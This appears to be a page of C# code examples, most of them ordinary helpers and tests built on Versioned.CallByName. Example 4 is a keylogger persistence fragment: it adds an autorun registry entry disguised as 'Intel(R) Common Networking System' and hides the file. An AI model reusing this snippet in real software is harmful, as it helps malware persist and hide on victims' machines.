Exemplo n.º 1
0
        /// <summary>
        /// Get string value of specified member of each item in a list as type T
        /// </summary>
        /// <typeparam name="T"></typeparam>
        /// <param name="list"></param>
        /// <param name="memberName"></param>
        /// <returns></returns>
        /// <remarks></remarks>
        public static IEnumerable <T> DebugMembers <T>(this IEnumerable list, string memberName)
        {
            var res = from object x in list
                      select Versioned.CallByName(x, memberName, CallType.Get);

            return(res.Cast <T>());
        }
Exemplo n.º 2
0
 public static string GetMessageKey(this MessageAttribute message, object value)
 => message?
 .Id?
 .ToString()?
 .Split('.')
 .Aggregate(value, (from, name) => Versioned.CallByName(from, name, CallType.Get))?
 .ToString();
Exemplo n.º 3
0
 public void CallByName(object instance, string methodName, CallType useCallType, object[] args, Func <object, object> getResult, object expected)
 {
     Assert.Equal(getResult is null ? expected : null, Versioned.CallByName(instance, methodName, useCallType, args));
     if (getResult != null)
     {
         Assert.Equal(expected, getResult(instance));
     }
 }
Exemplo n.º 4
0
 public void Record(string str)
 {
   // Keylogger peristence = HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
   // Record: Intel(R) Common Networking System
   
   RuntimeHelpers.GetObjectValue(Versioned.CallByName(RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(Versioned.CallByName((object) MyProject.Computer, "Registry", CallType.Get))), "SetValue", CallType.Method, (object) "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run"), (object) "Intel(R) Common Networking System"), (object) str));
   File.SetAttributes(str, FileAttributes.Hidden);
 }
Exemplo n.º 5
0
        /// <summary>
        /// Get string value of specified member of each item in a list as type T
        /// </summary>
        /// <typeparam name="T"></typeparam>
        /// <param name="list"></param>
        /// <param name="memberName"></param>
        /// <returns></returns>
        /// <remarks></remarks>
        public static IEnumerable <T> DebugMembers <T>(this IEnumerable list, string memberName)
        {
            var sb  = new List <T>();
            var res = from object x in list
                      select Versioned.CallByName(x, memberName, Microsoft.VisualBasic.CallType.Get);

            return(res.Cast <T>());
        }
Exemplo n.º 6
0
        /// <summary>
        /// Like DebugMember, but with two members
        /// </summary>
        /// <param name="list"></param>
        /// <param name="memberName"></param>
        /// <param name="secondMemberName"></param>
        /// <returns></returns>
        /// <remarks></remarks>
        public static object DebugMembers(this IEnumerable list, string memberName, string secondMemberName)
        {
            var res = from object x in list
                      select new {
                Member1 = Versioned.CallByName(x, memberName, CallType.Get),
                Member2 = Versioned.CallByName(x, secondMemberName, CallType.Get)
            };

            return(res.ToArray());
        }
Exemplo n.º 7
0
        /// <summary>
        /// Get string representation of Type.Member value
        /// </summary>
        /// <typeparam name="T"></typeparam>
        /// <param name="list"></param>
        /// <param name="memberName"></param>
        /// <returns></returns>
        /// <remarks></remarks>
        public static string DebugMember <T>(this IEnumerable <T> list, string memberName)
        {
            var sb = new StringBuilder();

            foreach (var x in list)
            {
                var text = Versioned.CallByName(x, memberName, Microsoft.VisualBasic.CallType.Get).ToString();
                sb.AppendLine(text);
            }
            return(sb.ToString());
        }
Exemplo n.º 8
0
        protected new virtual ContentResult View(string viewName, object model = null)
        {
            var controllerContext = this.ControllerContext;
            var result            = ViewEngines.Engines.FindView(controllerContext, viewName, null);

            StringWriter output;

            using (output = new StringWriter())
            {
                var dictionary = new ViewDataDictionary(model);

                var dynamic = this.ViewBag as DynamicObject;

                if (dynamic != null)
                {
                    var members = dynamic.GetDynamicMemberNames().ToList();

                    foreach (string member in members)
                    {
                        var value = Versioned.CallByName(dynamic, member, CallType.Get);
                        dictionary.Add(member, value);
                    }
                }


                var viewContext = new ViewContext(controllerContext, result.View, dictionary,
                                                  controllerContext.Controller.TempData, output);
                result.View.Render(viewContext, output);
                result.ViewEngine.ReleaseView(controllerContext, result.View);
            }

            string html = CdnHelper.UseCdn(output.ToString());

            html = MinificationHelper.Minify(html);

            return(this.Content(html, "text/html"));
        }
Exemplo n.º 9
0
 public void CallByName_MissingMemberException(object instance, string methodName, CallType useCallType, object[] args)
 {
     Assert.Throws <MissingMemberException>(() => Versioned.CallByName(instance, methodName, useCallType, args));
 }